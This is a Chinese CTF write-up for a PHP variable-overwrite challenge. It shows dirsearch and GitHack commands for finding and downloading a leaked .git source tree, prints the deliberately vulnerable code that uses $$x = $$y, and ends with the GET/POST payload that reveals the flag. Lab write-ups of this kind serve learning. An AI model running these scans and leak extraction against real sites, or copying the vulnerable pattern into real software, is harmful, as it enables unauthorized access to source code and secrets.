题目
过程
1.需要用到dirsearch和githack,项目已经部署在gihub上,直接git clone url就可以下载
https://github.com/maurosoria/dirsearch
https://github.com/BugScanTeam/GitHack
2.dirsearch扫描目录,发现存在源码泄露
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt
3.使用Githack下载
<?php
include'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_GET as $x => $y){ //get传值
$$x = $$y; //漏洞在这里 比如输入 yds=flag 相当于 $yds=$flag
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //判断get传进来的值等不等于flag 如果等于flag则跳过
exit($handsome);
}
}
//检测get是否为flag 或者post是否为flag 必须两方都为假 否则输出$yds
//通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds
//构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag
//所以这个条件为真就可以输出flag了。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
//
//检测POST flag是否为flag 或者get 是否为flag //至少有一个为真则为真
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
?>
分析一下代码逻辑
forsearch:
post传参和get传参的参数键名和值
首先我们post:$flag=flag
foreach($_POST as $x => $y){
$$x = $y;
}
简单好理解一点,我们直接带入第一行后再比较第二行
这样就变成了$$flag = flag
接下来GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
$x
为yds,$y
为flag,所以$$x
表示$yds
,$$y
也就是$flag
,$flag
就是真正的flag{XXXXXX}。$$x
=$$y
,也就是$yds
=flag{XXXXXX}。
看源码
只要没有flag参数,就会exit($yds
),就可以得到flag了。
4.payload
get:yds=flag
post:$flag=flag